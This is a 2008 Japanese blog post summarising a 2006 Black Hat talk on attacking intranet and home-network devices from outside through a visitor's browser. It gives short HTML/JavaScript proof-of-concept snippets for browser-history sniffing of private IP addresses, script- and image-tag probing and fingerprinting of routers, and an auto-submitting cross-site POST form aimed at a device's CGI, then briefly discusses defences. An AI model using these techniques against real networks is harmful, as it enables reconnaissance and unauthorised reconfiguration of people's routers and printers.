JavaScriptを使ってイントラネット内を外から攻撃する方法

   このエントリをはてなブックマークに登録    2008/5/7-1

Hacking Intranet Websites from the Outside」という講演が2006年にありました。 Black Hatでの講演です。

以下に説明する手法は既に公開されてある程度時間が経過している情報なので、ご存知の方にとっては既に古いとは思います。 詳細はプレゼン資料をご覧下さい。

概要

ファイアウォールなどに守られたイントラネットやホームネットワークの内部を攻撃する手法が解説してありました。 JavaScriptの基本仕様を組み合わせて情報を収集するというものでした。

最終的には、プリンタから印刷を行ったり、ルータの設定を変更するなどの攻撃が可能になるようです。 それ以外にも、Web経由で設定変更が出来るものは状況によっては影響されるかも知れません。

プレゼン後半ではCSRF(XSRF, cross-site request forgery)も解説されていましたが、この部分は今回は割愛させて頂きました。

機器検出方法1

手元のブラウザで訪問したことがあるURLを検出します。

例えば、その中にプライベートネットワークへのURLが存在している場合、マルウェアがそのURLで何らかのサービスが動作している事を知ることが出来ます。 192.168.X.Xなどの良く利用されているプライベートIPアドレス全般に対して、総当りで訪問履歴を調べていけば、家にあるSOHOルータの存在等を割り出せてしまう場合があります。



<html>
<head>
<style type="text/css">
 a {color:#0000ff;}
 a:visited {color:ff0000;}
</style>
</head>

<body>

<a href="http://192.168.6.9/" id="a">a</a>

<script type="text/javascript">
 var a = document.getElementById("a");
 var c;
 if (document.defaultView) {
    c = document.defaultView.getComputedStyle(a,null).getPropertyValue('color');
 } else {
    c = a.currentStyle['color'];
 }

 if (c == "#0000ff" || c == "rgb(0, 0, 255)") {
    document.write("192.168.0.1 not visited");
 } else {
    document.write("you visited 192.168.0.1");
 }
</script>

</body>
</html>


機器検出方法2

SCRIPTタグで外部スクリプト呼び出しの形をとって、イントラネット内に存在する機器を探せる場合もあります。 (以下のサンプルスクリプトはFirefoxでしか動作せず。)



<html>
<head>
<script type="text/javascript">
onerror = errfunc;

function errfunc(msg, url) {
  alert("my alert : " + msg + " : " + url);
}
</script>
</head>

<body>
<script type="text/javascript" src="192.168.255.255">
</body>
</html>


機器検出方法3

IMGタグを使って機器の存在、及び機種の特定まで可能とプレゼン資料に記述してありました。

各ネットワーク機器に含まれる画像ファイル等のURLをフィンガープリントとして利用して、機器の特定を行うようです。



<html>
<head>
<script type="text/javascript">
function found() {
  alert("onerr");
}
function notfound() {
  alert("onerr");
}
</script>
</head>

<body>
<img src="http://10.9.0.1/easter.gif"
   onerror="notfound()" onload="found()">
</body>

</html>


攻撃方法

検出した機器情報を元に何らかの動作や設定変更が可能になる場合があります。 機器の種類まで検出できているのであればデフォルトのパスワード等を利用可能です。

プレゼン資料では、多くのCE機器がPOSTで動作しているものの、GETで同様のパラメータを渡しても動作するため、GETをPOSTに変更して攻撃が可能と書いていました。 パラメータの取得方法としては、CE機器ごとに生のHTTPメッセージを見て解析していっているようです。

ただ、POSTも以下のような方法ドメインをまたいで送信可能だと思われるので注意が必要かも知れません。



<html>
<head>
<script type="text/javascript">
function myfunc() {
  document.getElementById("f").submit();
}
</script>
</head>
<body onload="myfunc()">

<form method="POST"
   action="http://192.168.0.9/a.cgi" id="f">
<input type="hidden" name="n" value="val">
</form>

</body>
</html>


SOAPがドメインをまたいで出来ればUPnPなども影響されると思われますが、ざっと調べてみても今のところドメインをまたいでSOAPを使う方法を発見できませんでした。 (探し方が下手なだけである可能性が高いのでご注意下さい。)

どうやって防ぐか

基本的に、ブラウザのバグなどではなく仕様なので、ブラウザ側で対処するのは非常に難しいと思います。 2006年にこの手法が公開されてから、まだ根本的な対策がブラウザ側にされていなさそうに見えるのが、この手法回避の難しさを物語っていると思われます。

実際にこれらの手法を使って書かれたマルウェアを回避するには、JavaScriptを無効にするか、ブラウザとは別のセキュリティ対策ソフトで検出してブロックするぐらいしか方法が思いつきませんでした。

2006年に発表された手法なので、既に様々なマルウェアで広く使われているのではないかと多少怖くなった今日この頃です。

   このエントリをはてなブックマークに登録